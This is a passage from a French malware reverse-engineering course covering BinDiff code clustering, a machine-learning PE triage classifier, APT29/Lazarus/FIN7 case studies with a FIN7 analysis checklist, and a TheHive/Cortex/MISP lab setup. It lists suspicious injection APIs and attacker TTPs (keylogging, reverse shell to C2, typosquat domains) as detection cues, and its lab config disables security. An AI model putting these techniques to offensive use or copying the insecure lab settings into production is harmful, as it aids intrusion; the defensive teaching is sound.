- Clustering : regrouper avec les samples déjà analysés (imphash, ssdeep, code similarity)
- Enrichissement : VT, Shodan, MISP pour les IOCs trouvés
- Priorisation : score composite → file d'attente pour l'analyste humain
- Rapport + SIEM : résultats exportés vers MISP, SIEM, et l'équipe

## 8.2 Clustering automatique avancé

Au-delà de l'IMPHASH et du SSDEEP, les techniques plus avancées permettent de trouver des liens non évidents entre samples.

### Fonction-level similarity avec BinDiff en batch

BinDiff peut être utilisé en ligne de commande pour comparer des centaines de binaires. En calculant la similarité fonctionnelle entre tous les pairs de samples, tu peux identifier des familles inédites qui partagent du code même si leurs hashes et imports sont différents.

**Clustering de code en batch — Ghidra + BinDiff**

```
# Clustering par similarité de code en batch avec Ghidra + BinDiff

# Étape 1 : Exporter tous les samples avec Ghidra headless
# Utilise analyzeHeadless pour exporter les .BinExport (format BinDiff)
for sample in ./samples/*.exe; do
    ${GHIDRA_HOME}/support/analyzeHeadless /tmp/projects $(basename $sample .exe) \
```

```
        -import $sample \
        -postScript ExportBinDiff.java /tmp/bindiff_exports/$(basename $sample .exe).BinExport \
        -deleteProject 2>/dev/null
done

# Étape 2 : Comparer tous les pairs avec bindiff
ls /tmp/bindiff_exports/*.BinExport | while read f1; do
    ls /tmp/bindiff_exports/*.BinExport | while read f2; do
        if [ '$f1' != '$f2' ]; then
            bindiff $f1 $f2 --output_dir /tmp/results/ 2>/dev/null
        fi
    done
done

# Étape 3 : Lire les résultats .BinDiff (SQLite)
import sqlite3, os
from pathlib import Path

similarities = []
for bindiff_file in Path('/tmp/results').glob('*.BinDiff'):
    conn = sqlite3.connect(bindiff_file)
    # Table 'metadata' contient similarity et confidence
    row = conn.execute('SELECT similarity, confidence FROM metadata').fetchone()
    if row and row[0] > 0.6:  # > 60% similaire
        # Extraire les noms depuis le nom de fichier
        name = bindiff_file.stem
        parts = name.split('_vs_')
        similarities.append({
            'sample1': parts[0] if len(parts) > 0 else name,
            'sample2': parts[1] if len(parts) > 1 else '',
            'similarity': row[0],
            'confidence': row[1],
        })
    conn.close()

# Trier par similarité décroissante
similarities.sort(key=lambda x: x['similarity'], reverse=True)
for s in similarities[:20]:
    print(f'{s["similarity"]:.2f} : {s["sample1"]} <-> {s["sample2"]}')
```

## 8.3 Machine Learning appliqué au triage de malwares

Le ML ne remplace pas le RE humain — il le complète en triant les samples et en identifiant ceux qui méritent une analyse manuelle. Les features PE (ratios de sections, distribution d'opcodes, entropie) sont particulièrement adaptées au ML car elles sont faciles à extraire et discriminantes entre malwares et programmes légitimes.

**ML pour le triage de malwares — Random Forest**

```
# Classification ML de malwares avec scikit-learn
# pip install scikit-learn pefile --break-system-packages

import pefile, math, os
import numpy as np
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import classification_report

def extract_pe_features(filepath):
    """Extraire un vecteur de features numériques d'un PE"""
    features = []
    try:
        pe = pefile.PE(filepath)
        opt = pe.OPTIONAL_HEADER

        # Features header
        features += [
            opt.AddressOfEntryPoint,
            opt.SizeOfCode,
            opt.SizeOfInitializedData,
            opt.SizeOfUninitializedData,
            opt.DllCharacteristics,
            pe.FILE_HEADER.NumberOfSections,
            pe.FILE_HEADER.TimeDateStamp % (365*24*3600),  # Jour de l'année
        ]

        # Features sections (entropy + ratios)
        entropies = [s.get_entropy() for s in pe.sections]
        features += [
            max(entropies) if entropies else 0,
            min(entropies) if entropies else 0,
            sum(entropies)/len(entropies) if entropies else 0,
        ]
```

```
        # Features imports
        if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
            imports = [imp.name.decode() for entry in pe.DIRECTORY_ENTRY_IMPORT
                       for imp in entry.imports if imp.name]
            suspicious_count = sum(1 for i in imports if i in [
                'VirtualAllocEx','WriteProcessMemory','CreateRemoteThread',
                'IsDebuggerPresent','GetProcAddress'
            ])
            features += [len(imports), suspicious_count]
        else:
            features += [0, 0]
    except Exception:
        return None
    return features

# Construire le dataset
# Assume deux dossiers : ./legit/*.exe et ./malware/*.exe
X, y = [], []
for exe in os.listdir('./legit'):
    feat = extract_pe_features(f'./legit/{exe}')
    if feat: X.append(feat); y.append(0)  # 0 = légitime
for exe in os.listdir('./malware'):
    feat = extract_pe_features(f'./malware/{exe}')
    if feat: X.append(feat); y.append(1)  # 1 = malware

# Normaliser les features à la même longueur (padding)
max_len = max(len(f) for f in X)
X = [f + [0]*(max_len - len(f)) for f in X]

# Entraîner le modèle
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Évaluer
y_pred = clf.predict(X_test)
print(classification_report(y_test, y_pred, target_names=['Légitime','Malware']))

# Classifier un nouveau fichier
def classify(filepath):
```

```
    feat = extract_pe_features(filepath)
    if feat:
        prob = clf.predict_proba([feat + [0]*(max_len - len(feat))])[0]
        return {'malware_prob': prob[1], 'legit_prob': prob[0]}
    return None
```

CHAPITRE 9

# Case Studies APT

Analyser les TTPs de groupes documentés — APT29, Lazarus, APT41, FIN7

## 9.1 Méthodologie d'un case study APT

Un case study APT ne consiste pas à réanalyser de zéro des malwares qui ont déjà été analysés. C'est synthétiser et comprendre les TTPs d'un groupe pour les reconnaître dans ton environnement. Les sources primaires sont les rapports des éditeurs AV et des firmes de réponse à incident : Mandiant, Kaspersky GReAT, ESET, Microsoft MSTIC, CrowdStrike Intelligence.

Pour chaque groupe que tu étudies, extrais les informations suivantes : quels vecteurs d'accès initial utilisent-ils, quels outils custom vs COTS (Commercial Off-The-Shelf) utilisent-ils, quelles sont leurs TTPs de persistence et de mouvement latéral, et quelle est leur infrastructure C2 habituelle.

## 9.2 APT29 (Cozy Bear, Nobelium) — sophistication maximale

APT29 est attribué aux services de renseignement russes (SVR). Il est connu pour : une très haute sophistication technique, l'utilisation de malwares custom quasi-uniques (MiniDuke, CozyDuke, WellMail...), des supply chain attacks (SolarWinds Orion), et des techniques d'évasion avancées (chiffrement de traffic via des services légitimes).

### TTPs caractéristiques d'APT29

- Spearphishing ciblé avec documents Office malveillants hautement personnalisés
- SUNBURST (backdoor SolarWinds) : code malveillant dans une mise à jour légitime signée — supply chain ultime
- Persistence via task scheduled, WMI subscriptions, et manipulation du registre ActiveSetup
- Mouvement latéral via des tickets Kerberos (Pass-the-Ticket, Overpass-the-Hash)
- Exfiltration via Microsoft Graph API, OneDrive, et autres services Microsoft légitimes comme C2
- Anti-forensics : timestamps modifiés (timestomping), logs effacés, traces réduites

L'analyse de SUNBURST est un cas d'étude parfait pour comprendre ce que 'sophistiqué' signifie réellement : le code malveillant attendait 14 jours après l'installation avant d'activer, vérifiait que le domaine Windows était bien présent, listait les outils de sécurité pour adapter son comportement, et utilisait un DGA pseudo-aléatoire basé sur le nom de domaine pour générer les sous-domaines de C2 d'une façon difficile à détecter.

## 9.3 Lazarus Group — versatilité et persistance

Lazarus Group est attribué à la RPDC (Corée du Nord). Sa particularité : il couvre à la fois l'espionnage (APT) et le cybercrime pur (vol de fonds). Il est responsable du vol de plus d'un milliard de dollars en cryptomonnaies.

### Architecture multi-stage de Lazarus

Lazarus utilise typiquement une architecture à 3 ou 4 stages : un dropper léger (souvent via LNK ou documents malveillants), un loader qui déchiffre et injecte un implant intermédiaire, l'implant intermédiaire qui établit la persistence et télécharge le RAT final, et le RAT complet (souvent BLINDINGCAN ou COPPERHEDGE pour les cibles importantes).

La technique caractéristique de Lazarus en matière d'infrastructure : utilisation de sites web légitimes compromis comme premier tier C2. Le trafic vers ces sites ressemble à du trafic normal — c'est un site e-commerce légitime qui a simplement une endpoint malveillante ajoutée. Très difficile à détecter par proxy filtering seul.

## 9.4 FIN7 — l'industrialisation du cybercrime

FIN7 (aussi appelé Carbanak, Anunak) n'est pas un état-nation mais un groupe criminel organisé. Ils ciblent principalement le secteur retail et la restauration pour voler des données de cartes bancaires. Ce qui les rend intéressants du point de vue RE : leur niveau de sophistication proche d'un APT étatique malgré des objectifs purement financiers.

FIN7 est connu pour CARBANAK (RAT custom), JSSLoader (loader JavaScript), et plus récemment pour des campagnes avec CobaltStrike et Lizar (WineLoader). Leur vecteur favori : spearphishing avec des documents Word malveillants utilisant du VBA obfusqué pour télécharger et exécuter des payloads multi-stages.

### Analyser un sample FIN7 — ce que tu cherches

**Checklist d'analyse samples FIN7/CARBANAK**

```
; Checklist pour l'analyse d'un sample suspecté FIN7

; === Triage ===
; DIE : souvent un EXE compilé MSVC, ou un DLL .NET
; IMPHASH : comparer avec la base de données de samples FIN7 connus
;   (disponible dans les rapports Mandiant, Secureworks)

; === Strings caractéristiques ===
; CARBANAK utilisait des strings en RC4 avec des clés fixes par campagne
; JSSLoader : strings obfusquées, souvent XOR 0x?? avec clé variable
; Noms de mutex typiques : random alphanumeric 8-16 chars

; === Infrastructure C2 ===
; FIN7 utilise souvent des domaines qui imitent des services légitimes
```

```
; Exemples : 'update-microsoft-secure.com', 'adobe-update-service.net'
; Registrars communs : Njalla, NameSilo (anonymes)
; Hosting : Frantech Solutions, M247 (bulletproof hosters)

; === Fonctionnalités CARBANAK ===
; Screenshot (BitBlt + enregistrement vidéo)
; Keylogger (SetWindowsHookEx WH_KEYBOARD_LL)
; Reverse shell vers C2
; Mouvement latéral via SMB (spreading)
; ATM jackpotting commands (spécifique aux campagnes bancaires)

; === ATT&CK techniques FIN7 ===
; T1566.001 Spearphishing Attachment
; T1059.005 Visual Basic (VBA macros)
; T1055     Process Injection
; T1547.001 Run Key Persistence
; T1056.001 Keylogging
; T1113     Screen Capture
; T1041     Exfiltration over C2
; T1059.007 JavaScript (JSSLoader)
```

CHAPITRE 10

# Devenir Meilleur

Méthodologie, lab CTI, certifications, contributions et roadmap 12 mois

## 10.1 Les pièges à éviter dans ta progression

Après 3 volumes de contenu, voici les pièges les plus courants que j'ai vus chez des analystes qui apprennent le RE :

**Piège 1 — Tout vouloir maîtriser en même temps.** Le RE couvre un domaine immense : assembleur, formats binaires, décompilation, debugging, cryptographie, protocols réseau, kernel, etc. La tentation est de tout apprendre en parallèle. En pratique, tu stagnes parce que tu n'approfondis rien. Stratégie : master une compétence à la fois. Deviens bon en analyse statique Ghidra avant de passer au debugging kernel.

**Piège 2 — Lire sans pratiquer.** Tu peux lire les 3 volumes de ces cours, tous les articles Mandiant, et regarder toutes les conférences BlackHat — si tu n'analyses pas de vrais samples, tu n'apprends rien de durable. La pratique régulière (2-3 samples par semaine minimum) est irremplaçable.

**Piège 3 — Rester bloqué seul.** Tout analyste se bloque parfois sur un sample. Passer des heures sur quelque chose que 10 minutes dans la communauté (Discord RE, Twitter infosec) résoudraient, c'est du temps perdu. Demander de l'aide est une compétence professionnelle, pas un aveu de faiblesse.

**Piège 4 — Ne pas documenter.** Dans 6 mois, tu oublieras les détails d'un sample analysé aujourd'hui. Prends l'habitude d'écrire des notes pour chaque analyse : ce que tu as cherché, ce que tu as trouvé, ce qui t'a bloqué. Ces notes deviennent ta base de connaissances personnelle.

## 10.2 Le lab CTI idéal — MISP, TheHive et Cortex

Un lab CTI complet n'est pas juste une collection d'outils RE. C'est un écosystème intégré qui capte, analyse, corrèle, et partage. Voici l'architecture recommandée pour un lab SOC/CTI professionnel :

### TheHive — gestion des incidents

TheHive est une plateforme open source de gestion de cas pour les SOC. Chaque alerte devient un 'Case', avec des 'Tasks' (tâches d'investigation), des 'Observables' (IOCs collectés), et une timeline. Il s'intègre avec Cortex (pour l'enrichissement automatique) et MISP (pour partager la TI).

### Cortex — enrichissement automatique

Cortex est le moteur d'analyse de TheHive. Il dispose de 'Analyzers' qui interrogent automatiquement des services extérieurs pour chaque IOC : VirusTotal, Shodan, MaxMind GeoIP, URLScan, etc. Quand tu soumet une IP dans TheHive, Cortex la vérifie automatiquement sur 5-10 services et t'affiche les

résultats sans que tu aies à le faire manuellement.

**Lab CTI — Docker Compose TheHive + Cortex + MISP**

```
# Installation TheHive + Cortex + MISP avec Docker Compose
# (architecture recommandée pour un lab personnel)

# docker-compose.yml minimal

version: '3'
services:

  thehive:
    image: strangebee/thehive:5
    ports: ['9000:9000']
    environment:
      TH_SECRET: 'change_this_secret_key'
    volumes:
      - thehive_data:/opt/thp

  cortex:
    image: thehiveproject/cortex:3
    ports: ['9001:9001']
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock  # Pour lancer des analyzers
      - cortex_data:/var/cortex

  misp:
    image: coolacid/misp-docker:core-latest
    ports: ['80:80', '443:443']
    environment:
      MISP_BASEURL: 'https://localhost'

  elasticsearch:
    image: elasticsearch:7.17.0
    environment:
      discovery.type: single-node
      xpack.security.enabled: 'false'

volumes:
  thehive_data:
  cortex_data:

# Lancer
docker-compose up -d
```

```
# Configurer les Analyzers Cortex :
# Interface web → Cortex → Organization → Analyzers
# Activer : VirusTotal, Shodan, URLScan, MISP, MaxMind, JoeSandbox...
# Entrer les API keys pour chaque service

# Connecter TheHive à Cortex et MISP :
# TheHive → Admin → Connectors
# Ajouter Cortex (URL: http://cortex:9001, API key)
# Ajouter MISP (URL: http://misp, API key, tags à utiliser)
```

## 10.3 Certifications qui comptent en RE/Malware Analysis

| | |
|---|---|
| **GREM (GIAC Reverse Engineering Malware)** | La certification de référence. Couvre exactement les sujets des 3 volumes. Très respectée dans l'industrie. Examen pratique. Prépare avec le cours FOR610 de SANS. |
| **eCMAP (eLearnSecurity Certified Malware Analysis Professional)** | Certification pratique avec labs réels. Plus accessible que GREM, bonne entrée en matière. |
| **OSCP (Offensive Security Certified Professional)** | Pas spécifique au RE mais couvre exploit analysis et shellcode. Apporte une perspective offensive qui enrichit le RE défensif. |
| **CRTIA / CRTE (Certified Red Team...)** | Pour comprendre les TTPs adversaires de l'intérieur. Améliore ta capacité à reconnaître ces TTPs en analyse. |
| **Master Degree / SANS FOR508, FOR572, FOR610** | Les cours SANS sont très chers (~5000€ chacun) mais de qualité exceptionnelle. FOR610 est le cours RE malware de référence. |

## 10.4 Contribuer à la communauté

Partager tes analyses est la meilleure façon de : consolider tes connaissances (enseigner c'est apprendre deux fois), obtenir des retours d'experts qui améliorent tes techniques, construire une réputation professionnelle, et contribuer à la défense collective.

Comment commencer : publie tes analyses sur un blog (même simple, Medium suffit). Soumets des IOCs sur MalwareBazaar et MISP communautaires. Partage tes règles YARA sur GitHub. Contribue à des projets open source (Volatility plugins, YARA rules, etc.). Participe aux CTFs et publie tes write-ups.

Les contributeurs actifs de la communauté RE que tu devrais suivre et dont tu peux t'inspirer : hasherezade (PE-bear, hollows_hunter), Didier Stevens (PDF tools, XLS tools), OALabs (analyses YouTube détaillées), MalwareMustDie (blog d'analyses de malwares), Hexacorn (blog sur les techniques PE et persistence), The DFIR Report (incident response réels détaillés), Group-IB, Sekoia

TDR, Intrinsec (analyses APT français).

## 10.5 Roadmap 12 mois pour atteindre le niveau senior

**Mois 1-2**

→ Consolide les fondamentaux des volumes 1 et 2 avec 10 samples réels analysés.
→ Setup ton lab CTI complet (TheHive + Cortex + MISP).
→ Rejoins des communautés : RE Discord, VXUnderground Discord, Twitter/X infosec.

**Mois 3-4**

→ Analyse 20 samples additionnels de familles variées (Ransomware, Stealer, RAT, Loader).
→ Commence le kernel RE (chapitre 1 de ce volume) : analyse 5 drivers suspects.
→ Écris et publie ta première analyse publique de malware.

**Mois 5-6**

→ Spécialise-toi sur un domaine : soit threat intel (pivoting, clustering), soit malware RE pur.
→ Participe au FLARE-ON Challenge (automne, Mandiant) ou à des CTFs RE.
→ Commence à préparer GREM ou eCMAP selon ton budget.

**Mois 7-8**

→ Analyse des samples APT documentés en suivant les case studies du chapitre 9.
→ Construis une bibliothèque de règles YARA (50+ règles pour les familles que tu connais).
→ Configure des Cortex Analyzers pour l'enrichissement automatique dans TheHive.

**Mois 9-10**

→ Contribue à un projet open source (YARA rules, Sigma rules, Volatility plugin).
→ Prends un sujet complexe : .NET avancé, shellcode, ou documents malveillants.
→ Passe ou prépare sérieusement GREM/eCMAP.

**Mois 11-12**

→ Mène une investigation CTI complète : d'un sample inconnu à l'attribution.
→ Publie 5 analyses sur ton blog ou sur GitHub.
→ Évalue ta progression : tu devrais analyser un sample inconnu simple en moins d'une heure.
→ Identifie ton prochain domaine de spécialisation : kernel RE, exploit analysis, mobile RE.

## 10.6 Ressources de référence par domaine

### Livres incontournables

| Ressource | URL/Info | Pourquoi |
|---|---|---|
| **Practical Malware Analysis** | `Sikorski & Honig` | La bible. Commence par là. |
| **The Art of Memory Forensics** | `Ligh et al.` | Forensics mémoire et analyse avancée |

| | | |
|---|---|---|
| **Windows Internals (7th Ed)** | `Russinovich, Solomon, Ionescu` | Le noyau Windows expliqué |
| **Rootkits: Subverting the Windows Kernel** | `Hoglund & Butler` | Rootkits de fond en comble |
| **The Shellcoder's Handbook** | `Koziol et al.` | Exploitation et shellcode |

## Cours en ligne gratuits

| Ressource | URL/Info | Pourquoi |
|---|---|---|
| **OpenSecurityTraining2** | `opencourse.training` | RE + architecture + exploit (TOP) |
| **Malware Unicorn Workshops** | `malwareunicorn.org` | Workshops pratiques guidés |
| **OALabs YouTube** | `youtube.com/@OALabs` | Analyses live très bien expliquées |
| **Guided Hacking YouTube** | `youtube.com/@GuidedHacking` | RE et game hacking |
| **LiveOverflow YouTube** | `youtube.com/@LiveOverflow` | Exploit development pédagogique |

## Pratique et challenges

| Ressource | URL/Info | Pourquoi |
|---|---|---|
| **FLARE-ON Challenge** | `fireeye.com (annuel, automne)` | 10 challenges RE progressifs de Mandiant |
| **crackmes.one** | `crackmes.one` | Des centaines de crackmes classés par difficulté |
| **pwn.college RE** | `pwn.college` | Challenges progressifs avec support |
| **MalwareBazaar** | `bazaar.abuse.ch` | Samples réels gratuits |
| **Any.run** | `app.any.run` | Sandbox avec samples publics |

## Référence et documentation

| Ressource | URL/Info | Pourquoi |
|---|---|---|
| **MSDN / docs.microsoft.com** | `docs.microsoft.com` | Documentation WinAPI officielle |
| **Undocumented Windows** | `ntinternals.net` | Fonctions NT non-documentées |
| **MITRE ATT&CK;** | `attack.mitre.org` | Framework TTPs — référence absolue |
| **VirusTotal Intelligence** | `virustotal.com` | Recherche de samples et pivoting |
| **GreyNoise / Shodan** | `greynoise.io / shodan.io` | Intelligence réseau et IOC pivoting |

# Fin de la série — Ce que tu maîtrises maintenant

Trois volumes. Des centaines de pages. Des dizaines d'exemples de code réel. Si tu as pratiqué en parallèle — et c'est le point crucial — tu as maintenant les fondations pour analyser la quasi-totalité des malwares que tu rencontreras dans un SOC, et pour contribuer à des analyses CTI de niveau professionnel.

Le Volume 1 t'a donné le language : assembleur, PE format, les outils de base, la méthodologie fondamentale. Le Volume 2 t'a rendu efficace : automatisation, .NET, shellcode, crypto, anti-obfuscation. Ce Volume 3 t'a montré la profondeur : kernel, firmware, attribution, CTI industrielle.

Ce qui reste à faire est entièrement entre tes mains. La discipline de pratiquer régulièrement. La curiosité de chercher comment les choses fonctionnent réellement. L'honnêteté intellectuelle de reconnaître ce que tu ne comprends pas encore et d'aller le creuser. Et la générosité de partager ce que tu découvres avec la communauté.

**Le meilleur analyste n'est pas celui qui a le plus de certifications — c'est celui qui n'arrête jamais de se demander comment ça marche.**